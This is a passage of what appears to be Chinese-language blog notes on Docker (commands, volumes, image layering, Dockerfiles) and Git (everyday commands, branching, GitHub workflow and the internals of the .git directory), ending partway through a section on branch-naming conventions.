registry退出\n\n\nlogs\n输出当前容器日志信息\n\n\nport\n查看映射端口对应的容器内部源端口\n\n\npause\n暂停容器\n\n\nps\n列出容器列表\n\n\npull\n从docker镜像源服务器拉取指定镜像或者库镜像\n\n\npush\n推送指定镜像或者库镜像至docker源服务器\n\n\nrestart\n重启运行的容器\n\n\nrm\n移除一个或者多个容器\n\n\nrmi\n移除一个或多个镜像(无容器使用该镜像才可以删除,否则需删除相关容器才可继续或-f强制删除\n\n\nrun\n创建一个新的容器并运行一个命令\n\n\nsave\n保存一个镜像为一个tar包(对应load)\n\n\nsearch\n在docker hub中搜索镜像\n\n\nstart\n启动容器\n\n\nstop\n停止容器\n\n\ntag\n给源中镜像打标签\n\n\ntop\n查看容器中运行的进程信息\n\n\nunpause\n取消暂停容器\n\n\nversion\n查看docker版本号\n\n\nwait\n截取容器停止时的退出状态值\n\n\n卷命令\ndocker volume create 卷名:创建数据卷\ndocker volume ls:查看所有的数据卷\ndocker volume inspect 卷名:查看指定数据卷的信息\ndocker volume rm 卷名:删除数据卷\n\n无法删除正在被使用的、容器存在的\n\ndocker rm -v …:删除容器时删除相关的卷\n\n数据卷是被设计用来持久化数据的,它的生命周期独立于容器,Docker 不会在容器被删除后自动删除数据卷,并且也不存在垃圾回收这样的机制来处理没有任何容器引用的数据卷 。如果需要在删除容器的同时移除数据卷。可以在删除容器的时候使用 docker rm -v 这个命令。无主的数据卷可能会占据很多空间,要清理请使用以下命令\ndocker volume prune\n\n工作流程\ndocker build\n\n当我们写完dockerfile交给docker“编译”时使用这个命令,那么client在接收到请求后转发给docker daemon,接着docker daemon根据dockerfile创建出“可执行程序”image。\n![docker build](docker build.png)\n\ndocker run\n\n有了“可执行程序”image后就可以运行程序了,接下来使用命令docker run,docker daemon接收到该命令后找到具体的image,然后加载到内存开始执行,image执行起来就是所谓的container。\n![docker run](docker run.png)\n\ndocker pull\n\ndocker中image的概念就类似于“可执行程序“,docker registry 可以用来存放各种image,公共的可以供任何人下载image的仓库就是docker Hub。那么该怎么从Docker Hub中下载image呢,就是这里的docker pull命令了。\n![docker pull](docker pull.png)\n镜像讲解镜像是什么镜像是一种轻量级、可执行的独立软件包,用来打包软件运行环境和基于运行环境开发的软件,它包含运行某个软件所需的所有内容,包括代码、运行时、库、环境变量和配置文件。\nDocker镜像加载原理\nUnionFS(联合文件系统/UFS)\n\n==我们下载时看到的一层层就是这个==\nUnionFS(联合文件系统):Union文件系统是一种分层,轻量级并且高性能的文件系统,它支持堆文件系统的修改作为一次提交来一层层的叠加,同时可以将不同目录挂载到同一个虚拟文件系统下(unite several directories into a single virtual filesystem)。Union文件系统是Docker镜像的基础,镜像可以通过分层来继承,基于基础镜像(没有父镜像),可以制作各种具体的应用镜像。\n特性:一次同时加载多个文件系统,但从外面看起来,只能看到一个文件系统,联合加载会把各层文件系统叠加起来,这样最终的文件系统会包含所有底层的文件和目录\n\nDocker镜像加载原理\n\nDocker的镜像实际上由一层一层的文件系统组成,这种层级的文件系统UnionFS。\n==bootfs==(boot file system)主要包含bootloade和kernel,bootloader主要是引导加载kernel,Linux刚启动是会加载bootfs文件系统,在Docker镜像的最底层是引导文件系统bootfs,这一层与我们典型的Linux/Unix系统是一样的,包含boot加载器和内核,当boot加载完成之后整个内核就都在内存中了,此时内存的使用权已由bootfs转交给内核,此时系统也会卸载bootfs\nrootfs(root flie system)在bootfs之上,包含的就是典型Linux系统中的/dev /proc /bin /etc等标准目录和文件,rootfs就是各种不同的操作系统发行版,比如Ubuntu,Centos等\n\n总结,Docker就是一个简易版的Linux,所有的镜像都公用宿主机的bootfs,根据rootfs的不同就是不同的Linux发行版本如centos、ubuntu等,而镜像就是在rootfs上面,容器就是最上面的container,Docker为什么分层,就是为了复用底层,所以就会很快,很方便\n具体例子,假设我们在Centos下安装了docker,然后使用Docker拉下了一个ubuntu镜像,运行ubuntu镜像,里面是没有vim命令的,那么我们在镜像里面安装了vim,然后使用commit提交容器使之成为一个新的镜像,那么这个新的ubuntu镜像就分为一下几层:\n\nbootfs层\nrootfs层\nubuntu层\nvim层\ncontainer层\n\n对于一个极简的OS,rootfs可以很小没只需要包含最基本的命令,工具,程序库就可以了,因为底层直接用host的kernel,自己只需提供rootfs就可以了。于此可见对于不同的Linux发行版,bootfs基本是一致的,rootfs会有差异,因此不同的发行版可以公用bootfs\n分层理解Q:Docker采用分层的结构的好处?\nA:资源共享\t例如有多个镜像都从相同的base镜像构建而来,则宿主机只需在磁盘上保留一份base镜像,同时内存中也只需要加载base镜像,这样就可以为所有的容器服务,且镜像的每一层都可以共享。\n理解:\n所有的docker镜像都起源于一个基础镜像层,当进行修改或增加信的内容是,就会在当前镜像层之上,创建新的镜像层。\n举一个简单的例子,假如基于Ubuntu linux16.04创建一个新的镜像,这就是新镜像的第一层;如果在该镜像中添加python包,就会在基础镜像层之上创建第二个镜像层,如果继续添加一个安全补丁,就会创建第三个镜像层,该镜像当前已经包含3个镜像层,如图所示\n\n在添加额外的镜像层的同时,镜像始终保持是当前所有镜像的组合\n\n\n在外部看来整个镜像只有6个文件,这是因为最上层的文件7是文件5的更新版\n\n这种情况下,上层镜像层中的文件覆盖了底层镜像层中的文件。这样就使得文件的更新版本作为一个新镜像层作为一个新镜像层添加到镜像当中。\nDocker通过存储引擎(新版本采用快照机制)的方式来实现镜像层堆栈,并保证多镜像层对外展示为统一的文件系统。\nLinux上可用的存储引擎有AUFS、Overlay2、Device Mapper、Btrfs以及ZFS。顾名思义,每种存储引擎都基于Linux中对应的文件系统或者块设备技术,并且每种存储引擎都有其独有的性能特点\nDocker在Windows上仅支持Windowsfilter一种存储引擎,该引擎基于NTFS文件系统之上实现了分层和CoW[1]\n下图展示了与系统显示相同的三层镜像。所有镜像层堆叠并合并,对外提供统一的视图\n\n\n特点\n\nDocker镜像默认都是只读的,当容器启动时,一个新的可写层被加载到镜像的顶部\n这一层就是我们通常说的容器层,容器之下都叫镜像层\n\ncommit镜像# docker commmit 提交容器成为一个新的副本docker commit -a="作者" -m="镜像描述" 容器id 目标镜像名:[TAG]\n\n容器数据卷Docker将运用与运行的环境打包形成容器运行, Docker容器产生的数据,如果不通过docker commit生成新的镜像,使得数据做为镜像的一部分保存下来, 那么当容器删除后,数据自然也就没有了。 为了能保存数据在Docker中我们使用卷。|\n卷就是目录或文件,存在于一个或多个容器中,由Docker挂载到容器,但卷不属于联合文件系统(Union FileSystem),因此能够绕过联合文件系统提供一些用于持续存储或共享数据的特性:。\n卷的设计目的就是数据的持久化,完全独立于容器的生存周期,因此Docker不会在容器删除时删除其挂载的数据卷。\nDocker容器卷的工作就是将Docker容器数据通过映射进行备份+持久化到本地的主机目录\n\n直接使用命令来挂载\ndocker run -it -v 主机目录:容器内目录 docker run -it -v /home/ceshi:/home centos /bin/bash\n\n\ndocker inspect 容器id 其中的mounts(挂载)可查看相关信息\n\n具名挂载&匿名挂载\n匿名挂载\n\n-v 容器内路径\n\n所有docker容器内的卷,没有指定目录的情况下都是在==/var/lib/docker/volumes/xxx/_data/==\n\n具名挂载\n\n-v 卷名:容器内路径\n\n\n指定路径挂载\n\n-v /宿主机路径::容器内路径\n\n\n拓展:\n#通过-v 容器内路径:ro/rw改变读写权限ro\treadonly #只读rw readwrite #可读可写#一旦这个了设置了容器权限,容器对我们挂载出来的内容就有了限定docker run -d -p --name nginx02 -v juming-nginx : /etc/nginx:ro nginxdocker run -d -p --name nginx02 -v juming-nginx : /etc/nginx:rw nginx# ro:只要看到ro就说明这个路径只能通过宿主机来操作,容器内部无法操作\n\n容器卷容器容器数据卷是指建立数据卷,来同步多个容器间的数据,实现容器间的数据同步。\n# 创建docker01docker run -it --name docker01 jackie/centos:latest# 查看容器docekr01内容lsbin home lost+found opt run sys vardev lib media proc sbin tmp volume01etc lib64 mnt root srv usr volume02 # 不关闭该容器退出CTRL + Q + P # 创建docker02: 并且让docker02 继承 docker01docker run -it --name docker02 --volumes-from docker01 jackie/centos:latest # 查看容器docker02内容lsbin home lost+found opt run sys vardev lib media proc sbin tmp volume01etc lib64 mnt root srv usr volume02# 创建docker03继承docker01docker run -it --name docker03 --volumes-from docker01 jackie/centos:latestcd volume01 #进入volume01 查看是否也同步docker01的数据ls docker01.txt# 测试:可以删除docker01,查看一下docker02和docker03是否可以访问这个文件# 测试发现:数据依旧保留在docker02和docker03中没有被删除(但是删除主机内的文件,则全无)\n\nDockerfiledockerfile就是用来构建docker镜像的构建文件\n\n通过这个脚本可以生成镜像,镜像是一层一层的,脚本一个个的命令,每个命令是一层\n\n#创建一个dockerfile文件,名字可随机,建议为dockerfile#文件中的内容 指令(大写) 参数FROM centosVOLUME ["volume01","volume02"]CMD echo "----end----"CMD /bin/bash#这里的每个命令就是镜像的一层#不能run的,VOLUME ["/volume01","/volume02"],加斜杠!\n\n介绍\n构建步骤︰\n\n\n编写一个dockerfile文件\n\ndocker build构建成为一个镜像\n\ndocker run运行镜像\n\ndocker push 发布镜像(DockerHub、阿里云镜像仓库)\n\n\n\n基础知识∶\n\n\n每个保留关键字(指令)都是尽量是大写字母\n\n执行从上到下顺序执行\n\n#表示注释\n\n每一个指令都会创建提交一个新的镜像层,并提交\n\n\n\n指令参考链接:https://www.runoob.com/docker/docker-dockerfile.html\n\n\n\n指令\n说明\n\n\n\nFROM\n指定基础镜像\n\n\nMAINTAINER\n镜像是谁写的,姓名+邮箱\n\n\nRUN\n镜像构建的时候需要运行的命令\n\n\nADD\n将本地文件添加到容器中,tar类型文件会自动解压(网络压缩资源不会被解压),可以访问网络资源,类似wget\n\n\nWORKDIR\n镜像的工作目录\n\n\nVOLUME\n挂载的目录\n\n\nEXPOSE\n暴露端口配置\n\n\nCMD\n指定这个容器启动的时候要运行的命令(只有最后一个会生效,可被替代)\n\n\nEMTRYPOINT\n指定这个容器启动的时候要运行的命令,可以追加命令\n\n\nONBUILD\n当构建一个被继承DockerFile,这个时候就会运行ONBUILD的指令,触发指令\n\n\nCOPY\n功能类似ADD,但是是不会自动解压文件,也不能访问网络资源\n\n\nENV\n构建的时候设置环境变量\n\n\n构建自己的Dockerfile下面通过编写Dockerfile文件来制作Centos镜像,并在官方镜像的基础上添加vim和net-tools工具。首先在/home/dockfile 目录下新建文件mydockerfile-centos。然后使用上述指令编写该文件。\n\n编写dockerfile文件\n\nFROM centos:7 #基础镜像 MAINTAINER TSL<.com> #维护者信息 ENV MYPATH /usr/local #环境变量目录 k-vWORKDIR $MYPATH #工作目录 用$取k RUN yum -y install vim #执行构建命令 安装vimRUN yum -y install net-tools #执行构建命令 安装net-tools EXPOSE 80 #暴露端口 80 CMD echo $MYPATH #输出构建信息 mypathCMD echo "---end---" #输出信息CMD /bin/bash #进入/bin/bash命令行\n\n\n构建镜像文件\n\n构建镜像命令:docker build -f dockerfile文件路径 -t 镜像名[:版本号] .(==这里有个小点.==)\n上面命令中,-t参数用来指定 image 文件的名字,后面还可以用冒号指定标签。如果不指定,默认的标签就是latest。最后的那个点表示Dockerfile文件所在的路径,上例是当前路径,所以是一个点。\ndocer build -f mydockerfile-centos -t mycentos:0.1 .# docker images 查看镜像会发现size变大\n\n制作tomcat镜像并发布\n\n","tags":["技术栈"]},{"title":"Git","url":"/2024/04/14/Git/","content":"Git理论\nSVN是集中式版本控制系统,版本库是集中放在中央服务器的,而工作的时候用的是自己的电脑,所以首先要从中央服务器得到最新的版本,然后工作,完成工作后,需要把自己做完的活儿推送到中央服务器。集中式版本控制系统是必须联网才能工作,对网络带宽要求较高。\n\nGit是分布式版本控制系统,没有中央服务器,每个人的电脑就是一个完整的版本库,工作时不需要联网了,因为版本都在自己电脑上,协同的方法是这样的:比如说自己在电脑上改了文件A,其他人也在电脑上改了文件A,这时你们俩之间只需把各自的修改推送给对方,就可以互相看到对方的修改了。\n\n\n\n\n#git init从master改成maingit config --global init.defaultBranch main#设置提交代码时的用户信息git config --global user.name 'jackie'git config --global user.email **@qq.com#如果去掉 --global 参数只对当前仓库有效\n\n基本操作git clone <链接>git add .git statusgit commit -m "消息内容"git remote rm origin(有的话删除)git remote add origin https://github.com/xxx.git#5、6可以合并成下面git remote set-url origin <链接>#origin是给远程仓库起的别名,也可以起其他名字,但是如果用origin,git push时可以不指出名字,如果用其他名字需要指出名字,git push 名字git push origin main\n\n\n#本地和远程仓库不同时git pull origin main#fatal: Need to specify how to reconcile divergent branches.#致命:需要指定如何协调不同的分支。#虽分支名相同,但本地有commit,而新建仓库添加README&License后同样会commit,本地&仓库各自偶commit↓git pull --rebase origin main\n\n\n参考链接:Git 基本操作 | 菜鸟教程\n\ngit status\n\nA:你本地新增的文件(服务器上没有)\nC:文件的一个新拷贝\nD:你本地删除的文件(服务器上还在)\nM:文件的内容或者mode被修改了\nR:文件名被修改了\nT:文件的类型被修改了\nU:文件没有被合并(你需要完成合并才能进行提交)\nX:未知状态(很可能是遇到git的bug了,你可以向git提交bug report)\n??:未被git进行管理,可以使用git add file1把file1添加进git能被git所进行管理\n红色是工作区状态,绿色是暂存区的状态\n\ngit diff\n\ngit diff:尚未缓存的改动\ngit diff –cached:查看已缓存的改动\ngit diff HEAD:查看已缓存的与未缓存的所有改动\ngit diff –stat:显示摘要而非整个 diff\ngit diff origin<远程仓库名>/main<分支名>\n\n\ngit commit\n\ngit commit -a:修改文件后不需要执行 git add 命令,直接来提交\n\ngit rm\n\ngit rm <file>:从暂存区和工作区中删除\ngit rm -f <file>:若删前修改过且已放到暂存区域,则必须要用强制删除选项 -f\ngit rm -r ***:递归删除该目录下的所有文件和子目录\n\ngit mv\n\ngit mv <file> <newfile> -f:若新文件名已经存在,但还是要重命名它,可用 -f\n\ngit checkout\n\ngit checkout -b 分支名:创建并切换分支\n.gitignore忽略文件有些时候我们不想把某些文件纳入版本控制中,比如数据库文件,临时文件,设计文件等\n在主目录下建立”.gitignore”文件,此文件有如下规则:\n\n忽略文件中的空行或以井号(#)开始的行将会被忽略。\n可以使用Linux通配符。例如:星号(*)代表任意多个字符,问号(?)代表一个字符,方括号([abc])代表可选字符范围,大括号({string1,string2,…})代表可选的字符串等。\n如果名称的最前面有一个感叹号(!),表示例外规则,将不被忽略。\n如果名称的最前面是一个路径分隔符(/),表示要忽略的文件在此目录下,而子目录中的文件不忽略。\n如果名称的最后面是一个路径分隔符(/),表示要忽略的是此目录下该名称的子目录,而非文件(默认文件或目录都忽略)。\n\n*.txt #忽略所有 .txt结尾的文件,这样的话上传就不会被选中!!lib.txt #但lib.txt除外/temp #仅忽略项目根目录下的TODO文件,不包括其它目录tempbuild/ #忽略build/目录下的所有文件doc/*.txt #会忽略 doc/notes.txt 但不包括 doc/server/arch.txt\n\nBranch假设当前主分支经历了两个版本,我们要为当前仓库新增文件,但该文件还不能确定是否需要,我们可在主分支的基础上创建一个新的分支,等新分支文件一切准备好了再合并过来\n\ngit branch <分支名>#创建分支git checkout <分支名>#切换分支git branch -d <分支名>#删除分支,-D可强制删除git checkout -b <分支名1>#创建并马上切换到新分支#等价于↓git switch -c <分支名>git merge <分支名1>#把别的分支合并到当前所处分支\n\nGitHub Issues问题+”#+数字”\ncommit时的-m “解决#+数字”,提交到远程仓库后会关联相应的issue\nGitHub Pull Requests若尝试新增一个Pull Request会发现创建按钮无法点击且提示需要选择不同的Branches或Forks\nIssues和Pull Requests会共用”#+数字”的顺序\n后面提交PR后”#+数字”会顺延前面的数字\nPR后远程仓库只有一个分支,但本地仍有两个分支\n若直接branch -d删除,提示出错,且提示可用-D删除\n\n远程仓库已合并,且有n个Commits,而本地只有m个(m<n),因为本地还没做合并的操作\n\ngit pull origin main\n\n此时git log会看到此时Commits的数量一致了,再次删除小分支,则不会出错\nFork拷贝仓库到自己账号,注意commit时按照别人仓库的规范来进行\n此时进行Fork的那名用户账号里可看到横幅(源仓库拥有者那里不会显示)\nTags#-a是annotation,意为注解git tag -a v1.0.0 -m "v1.0.0大功告成"\n\nGitHub Actions【Github Action题目world.execute.me 出题人讲解】 https://www.bilibili.com/video/BV1jm411d7Jk/?share_source=copy_web&vd_source=15214a7977f78540f7402494fb912cda\n拓展链接Git _ 报错信息\nhttps://www.cnblogs.com/iini/p/16300299.html\n撤回已 Push 的代码IDEA中Git较为优雅的方法:Reset Current Branch 到你想要恢复的commit记录\n这个时候会跳出四个选项供选择\nSoft:#之前写的不会改变,之前暂存过的文件还在暂存。Mixed:#之前写的不会改变,之前暂存过的文件不会暂存。Hard:#文件恢复到所选提交状态,任何更改都会丢失。你已经提交了,然后你又在本地更改了,如果选hard,那么提交的内容和提交后又本地修改未提交的内容都会丢失。keep:#任何本地更改都将丢失,文件将恢复到所选提交的状态,但本地更改将保持不变。你已经提交了,然后你又在本地更改了,如果选keep,那么提交的内容会丢失,提交后又本地修改未提交的内容不会丢失。\n\n然后,之前错误提交的commit就在本地给干掉了。但是远程仓库中的提交还是原来的样子,你要把目前状态同步到远程仓库。也就是需要把那几个commit删除的操作push过去。\n打开push界面,虽然没有commit需要提交,需要点击Force Push,强推过去。\n\n需要注意的是对于一些被保护的分支,这个操作是不能进行的。需要自行查看配置,我这里因为不是master分支,所以没有保护。\n\n实操\ngit reset --hard <所需要恢复到位置的hash值>git push --force origin\n\n.git简单地说,git 只是一堆通过文件名相互链接的文本文件。\ngit init$ tree .git.git├── config├── HEAD├── hooks│ └── prepare-commit-msg.msample├── objects│ ├── info│ └── pack└── refs ├── heads └── tags\n\n\nconfig是一个 txt 文件,里面记录了当前仓库的 git 设置,如作者信息、文件模式等。\n\nHEAD表示仓库的当前head。根据你设置的默认分支,它可能是refs/heads/master或refs/heads/main或其他你设定的名字。实际上,它指向refs/heads这个文件夹,并关联了一个名为master的文件,但该文件目前还不存在。只有在你完成首次提交后,master文件才会生成。\n\nhooks是一个特殊的目录,其中包含了可以在git执行任何操作前后运行的脚本。\n\nhttps://blog.meain.io/2019/making-sure-you-wont-commit-conflict-markers/\n\n\nobjects存放的是git的对象,比如关于仓库中的文件、提交等的数据。我们稍后会对此进行深入探讨。\n\nrefs正如我们之前提到的,是用来存放引用的目录。例如,refs/heads里存放的是分支的引用,而refs/tags则存放的是标签的引用。我们将进一步深入了解这些文件的内容。\n\n\ngit add file--- init 2023-07-02 15:14:00.584674816 +0530+++ add 2023-07-02 15:13:53.869525054 +0530@@ -3,7 +3,10 @@ ├── HEAD ├── hooks │ └── prepare-commit-msg.msample+├── index ├── objects+│ ├── 4c+│ │ └── 5b58f323d7b459664b5d3fb9587048bb0296de │ ├── info │ └── pack └── refs\n\n此操作主要引发了两个变化。首先,文件index被修改。index是记录当前暂存信息的地方,这表明名为file的文件已经被加入到索引中。\n更为关键的是,新建了一个objects/4c文件夹,并在其中添加了5b58f323d7b459664b5d3fb9587048bb0296de文件。\n#看看该文件具体包含了什么信息$ file .git/objects/4c/5b58f323d7b459664b5d3fb9587048bb0296de.git/objects/4c/5b58f323d7b459664b5d3fb9587048bb0296de: zlib compressed data---#这个用 zlib 压缩的数据中具体包含了什么呢?$ zlib-flate -uncompress <.git/objects/4c/5b58f323d7b459664b5d3fb9587048bb0296deblob 9\\0meain.io\n\n结果可看出,该文件记录了我们之前通过git add命令添加的file文件的相关信息,包括文件的类型、大小和内容。具体地说,文件类型为blob,大小为9,内容则是meain.io。\n\n文件名其实是基于内容的sha1哈希值生成的。通过对zlib压缩的数据进行sha1sum处理,我们就可以得到这样的文件名。\n$ zlib-flate -uncompress <.git/objects/4c/5b58f323d7b459664b5d3fb9587048bb0296de|sha1sum4c5b58f323d7b459664b5d3fb9587048bb0296de\n\ngit在存储内容时,会使用内容的sha1哈希值,取其前两个字符作为文件夹名(如4c),余下的部分作为文件名。这种方式是为了确保在objects文件夹中不会有过多的文件,从而使文件系统保持高效。\n\ngit cat-file\ngit提供了一个基础命令git cat-file,让我们可以更直观地查看它。通过-t参数,你可以查询对象的类型;使用-s参数,你可以得知对象的大小;而-p参数则能让你直观地查看对象的具体内容。\n$ git cat-file -t 4c5b58f323d7b459664b5d3fb9587048bb0296deblob$ git cat-file -s 4c5b58f323d7b459664b5d3fb9587048bb0296de9$ git cat-file -p 4c5b58f323d7b459664b5d3fb9587048bb0296demeain.io\n\ngit commit$ git commit -m 'Initial commit'[master (root-commit) 4c201df] Initial commit 1 file changed, 1 insertion(+) create mode 100644 file\n\n以下是相关的变动:\n--- init 2023-07-02 15:14:00.584674816 +0530+++ commit 2023-07-02 15:33:28.536144046 +0530@@ -1,11 +1,25 @@ .git+├── COMMIT_EDITMSG ├── config ├── HEAD ├── hooks │ └── prepare-commit-msg.msample ├── index+├── logs+│ ├── HEAD+│ └── refs+│ └── heads+│ └── master ├── objects+│ ├── 3c+│ │ └── 201df6a1c4d4c87177e30e93be1df8bfe2fe19 │ ├── 4c │ │ └── 5b58f323d7b459664b5d3fb9587048bb0296de+│ ├── 62+│ │ └── 901ec0eca9faceb8fe0a9870b9b6cde75a9545 │ ├── info │ └── pack └── refs ├── heads+ │ └── master └── tags\n\n首先有一个新文件``COMMIT_EDITMSG`,保存了最新的提交信息。\n若直接运行git commit未带-m参数,git会启动一个编辑器并加载COMMIT_EDITMSG文件,方便用户编辑提交信息。编辑完成后,git就采用该文件内容作为提交信息。\n此外,新增了一个logs目录,git通过它来记录所有的提交变动。在此,你可以查看所有引用(refs)及HEAD的提交记录。\nobject文件夹也发生了些变化,但首先,我希望你关注一下refs/heads目录,里面现有一个master文件。毫无疑问,这就是master分支的引用。\n$ cat refs/heads/master3c201df6a1c4d4c87177e30e93be1df8bfe2fe19\n\n显然,它是指向了一个新的对象。我们有方法查看这类对象,接着来试试。\n$ git cat-file -t 3c201df6a1c4d4c87177e30e93be1df8bfe2fe19commit$ git cat-file -p 3c201df6a1c4d4c87177e30e93be1df8bfe2fe19tree 62902ec0eca9faceb8fe0a9870b9b6cde75a9545author Abin Simon <mail@meain.io> 1688292123 +0530committer Abin Simon <mail@meain.io> 1688292123 +0530Initial commit\n\n\n同样可以使用git cat-file -t refs/heads/master命令来查看。\n\n从commit的内容中,我们得知它包含了一个哈希值为62902ec0eca9faceb8fe0a9870b9b6cde75a9545的tree对象,这与我们在提交时新加的对象相似。commit`还显示了这次提交的作者和提交者信息,这里都是我。最后,它还展示了这次提交的信息。\n接下来,让我们看一下tree对象中包含的内容。\n$ git cat-file -t 62902ec0eca9faceb8fe0a9870b9b6cde75a9545tree$ git cat-file -p 62901ec0eca9faceb8fe0a9870b9b6cde75a9545100644 blob 4c5b58f323d7b459664b5d3fb9587048bb0296de file\n\ntree对象中会通过其他tree和blob对象的形式呈现工作目录的状态。在这个示例中,因为我们仅有一个名为file的文件,所以你只能见到一个对象。细看的话,你会发现这个文件指向了我们在执行git add file时加入的那个初始对象。\n下面展示了一个更为成熟的仓库中的tree示意。在commit对象关联的tree对象中,嵌套有更多的tree对象,用以标识不同的文件夹。\n$ git cat-file -p 2e5e84c3ee1f7e4cb3f709ff5ca0ddfc259a8d04100644 blob 3cf56579491f151d82b384c211cf1971c300fbf8 .dockerignore100644 blob 02c348c202dd41f90e66cfeb36ebbd928677cff6 .gitattributes040000 tree ab2ba080c4c3e4f2bc643ae29d5040f85aca2551 .github100644 blob bdda0724b18c16e69b800e5e887ed2a8a210c936 .gitignore100644 blob 3a592bc0200af2fd5e3e9d2790038845f3a5cf9b CHANGELOG.md100644 blob 71a7a8c5aacbcaccf56740ce16a6c5544783d095 CODE_OF_CONDUCT.md100644 blob f433b1a53f5b830a205fd2df78e2b34974656c7b LICENSE100644 blob 413072d502db332006536e1af3fad0dce570e727 README.md100644 blob 1dd7ed99019efd6d872d5f6764115a86b5121ae9 SECURITY.md040000 tree 918756f1a4e5d648ae273801359c440c951555f9 build040000 tree 219a6e58af53f2e53b14b710a2dd8cbe9fea15f5 design040000 tree 5810c119dd4d9a1c033c38c12fae781aeffeafc1 docker040000 tree f09c5708676cdca6562f10e1f36c9cfd7ee45e07 src040000 tree e6e1595f412599d0627a9e634007fcb2e32b62e5 website\n\ngit commit -a(modify)$ git commit -am 'Use blog link'[master 68ed5aa] Use blog link 1 file changed, 1 insertion(+), 1 deletion(-)\n\n更改内容如下:\n--- commit 2023-07-02 15:33:28.536144046 +0530+++ update 2023-07-02 15:47:20.841154907 +0530@@ -17,6 +17,12 @@ │ │ └── 5b58f323d7b459664b5d3fb9587048bb0296de │ ├── 62 │ │ └── 901ec0eca9faceb8fe0a9870b9b6cde75a9545+│ ├── 67+│ │ └── ed5aa2372445cf2249d85573ade1c0cbb312b1+│ ├── 8a+│ │ └── b377e2f9acd9eaca12e750a7d3cb345065049e+│ ├── e5+│ │ └── ec63cd761e6ab9d11e7dc2c4c2752d682b36e2 │ ├── info │ └── pack └── refs\n\n新增了三个对象。一个是含有文件新内容的blob对象,还有一个是tree对象,以及一个commit对象。\n再次从HEAD或refs/heads/master开始追踪这些对象。\n$ git cat-file -p refs/heads/mastertree 9ab377e2f9acd9eaca12e750a7d3cb345065049eparent 3c201df6a1c4d4c87177e30e93be1df8bfe2fe19author Abin Simon <mail@meain.io> 1688292975 +0530committer Abin Simon <mail@meain.io> 1688292975 +0530Use blog link$ git cat-file -p 9ab377e2f9acd9eaca12e750a7d3cb345065049e100644 blob e5ec63cd761e6ab9d11e7dc2c4c2752d682b36e2 file$ git cat-file -p e6ec63cd761e6ab9d11e7dc2c4c2752d682b36e2blog.meain.io\n\n仔细观察会注意到commit对象现在有了一个额外的键名为parent,它链接到上一个提交,因为当前提交是基于上一个提交创建的。\ngit branchgit branch fix-url\n--- update 2023-07-02 15:47:20.841154907 +0530+++ branch 2023-07-02 15:55:25.165204941 +0530@@ -27,5 +28,6 @@ │ └── pack └── refs ├── heads+ │ ├── fix-url │ └── master └── tags\n\n此操作会在refs/heads目录下加入一个新的文件。该文件的名称就是我们新建的分支名,而内容则是最新的提交标识id。\n$ cat .git/refs/heads/fix-url68ed5aa2372445cf2249d85573ade1c0cbb312b1\n\n这基本上就是创建分支的全部内容。在git中,分支是相当轻便的。另外,标签的创建也是类似的操作,但它们是被创建在refs/tags目录下。\n在logs目录下也新增了一个文件,该文件用于记录与master分支类似的提交历史信息。\ngit checkout在git中进行分支切换实际上是让git获取某个提交的tree对象,并更新工作区中的文件,使其与其中记录的状态相匹配。在此例中,由于我们是从master分支切换到fix-url分支,而这两个分支都指向同一个commit和它的tree对象,因此git在工作区的文件上并没有任何更改。\ngit checkout fix-url\n\n在进行分支切换时,.git目录中唯一发生的变化是.git/HEAD文件的内容,现在它指向fix-url分支。\n$ cat .git/HEADref: refs/heads/fix-url\n\n既然我们在这里,我将进行一个提交操作。这将有助于我稍后展示合并的效果。\n$ echo 'https://blog.meain.io'>file$ git commit -am 'Fix url'\n\ngit merge有三种主要的合并方法。\n\n最简单且直观的是快进式合并。这种方式中,你只是更新一个分支的提交,使其指向另一个分支的提交。具体操作就是把refs/heads/fix-url中的哈希值复制到refs/heads/master。\n\n第二种是变基(rebase)合并。在这种方式中,我们首先将更改依次应用到主分支当前的提交上,然后进行类似于快进式的合并。\n\n第三种是通过创建一个独立的合并来合并两个分支。这种方法与前两者略有不同,因为它的提交对象会有两个parent条目。我们稍后会详细探讨这种方法。\n\n\n首先,我们来看看合并前的graph。\ngit log --graph --oneline --all* 42c6318 (fix-url) Fix url* 67ed5aa (HEAD -> master) Use blog link* 3c201df Initial commit\n\n接下来进行合并:\n$ git merge fix-url # updates refs/heads/master to the hash in refs/heads/fix-url\n\n我们再来看看合并后的 graph。\n$ git log --graph --oneline --all* 42c6318 (HEAD -> master) (fix-url) Fix url* 67ed5aa Use blog link* 3c201df Initial commit\n\ngit remote为了演示这个过程,我首先创建了一个新的git仓库作为这个仓库的远程连接。\n$ mkdir git-talk-2$ cd git-talk-2 && git init --bare$ cd ../git-talk && git remote add origin ../git-talk-2\n\n\ngit init –bare用于在git中创建一个裸(bare)仓库,裸仓库则不包含工作目录,它只是一个.git目录,没有实际的项目文件。裸仓库通常被用作远程仓库,用于与其他开发者共享代码。它只包含Git版本控制所需的文件,因此更适合作为一个中心化的代码仓库。\n当你在一个服务器上搭建Git仓库时,通常会使用裸仓库。这样其他开发者可以通过克隆(clone)这个裸仓库来获取项目代码,并将自己的更改推送(push)回去,而不会涉及到冗余的工作目录。\n\n另外,添加新的远程仓库实际上是修改了配置文件,可以在.git/config中查看这个变更。接下来,执行推送操作。\n$ git push origin master\n\n再来检查一下本地仓库发生了哪些改变。\n--- branch\t2023-07-02 15:55:25.165204941 +0530+++ remote\t2023-07-02 17:41:05.170923141 +0530@@ -22,12 +29,18 @@ │ ├── e5 │ │ └── ec63cd761e6ab9d11e7dc2c4c2752d682b36e2 │ ├── info │ └── pack ├── ORIG_HEAD └── refs ├── heads │ ├── fix-url │ └── master+ ├── remotes+ │ └── origin+ │ └── master └── tags\n\n会发现新增了一个新的refs/remotes目录,这是用来存储不同远程仓库相关信息的。\n但是,实际上传送到远程git仓库的数据是什么呢?那就是objects文件夹内的所有数据,以及你明确推送的refs下的分支和标签。仅凭这些,远程的git就能完整地构建出你的所有git历史记录。\n大厂的Git代码管理规范分支命名\nmaster分支\n\nmaster为主分支,也是用于部署生产环境的分支,需要确保master分支稳定性。master分支一般由release以及hotfix分支合并,任何时间都不能直接修改代码。\n\ndevelop分支\n\ndevelop为开发环境分支,始终保持最新完成以及bug修复后的代码,用于前后端联调。一般开发新功能时,feature分支都是基于develop分支创建的。\n\nfeature分支\n\n开发新功能时,以develop为基础创建feature分支。\n分支命名时以feature/开头,后面可以加上开发的功能模块,命名示例:feature/user_module、feature/cart_module。\n\ntest分支\n\ntest为测试环境分支,外部用户无法访问,专门给测试人员使用,版本相对稳定。\n\nrelease分支\n\nrelease为预上线分支(预发布分支),UAT测试阶段使用。一般由test或hotfix分支合并,不建议直接在release分支上直接修改代码。\n\nhotfix分支\n\n线上出现紧急问题